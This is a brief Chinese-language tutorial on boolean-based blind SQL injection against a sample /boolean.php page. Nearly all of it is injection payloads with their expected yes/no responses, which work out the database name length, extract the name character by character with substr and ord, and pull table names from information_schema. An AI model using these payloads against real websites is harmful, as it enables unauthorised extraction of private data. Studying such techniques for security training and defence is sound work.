布尔盲注的经典例子
https://www.ichunqiu.com/battalion?t=1&r=68487
测试语句
判断库名长度
构造SQL判断语句,查看页面返回结果推测哪些SQL判断条件是成立的。
这里假设数据库库名的长度为3。
返回结果分为2种,即yes,和no。
/boolean.php?id=1' and length(database())>=1--+ //页面返回结果为yes
/boolean.php?id=1' and length(database())>=2--+ //页面返回结果为yes
/boolean.php?id=1' and length(database())>=3--+ //页面返回结果为yes
/boolean.php?id=1' and length(database())>=4--+ //页面返回结果为no
这里大于等于4时,结果为no,由此判断出长度为3。
获取数据库名
使用逐字符判断的方式获取数据库库名。数据库库名的范围一般在a~z,0~9之内,可能还有一些特殊字符。
假设数据库库名为sql,且第一个字符是s,第二个字符是q。
/boolean.php?id=1' and substr(database(),1,1)='t'--+ //页面返回结果为no
/boolean.php?id=1' and substr(database(),1,1)='a'--+ //页面返回结果为no
/boolean.php?id=1' and substr(database(),1,1)='s'--+ //页面返回结果为yes
/boolean.php?id=1' and substr(database(),2,1)='q'--+ //页面返回结果为yes
substr(database(),<查询的第n个字符>,1)
还可以使用Ascii码的字符进行查询。
/boolean.php?id=1' and ord(substr(database(),1,1))=115--+
利用substr判断数据库的库名
已知数据库sql的第一个表名是email,判断语句
/boolean.php?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='e'--+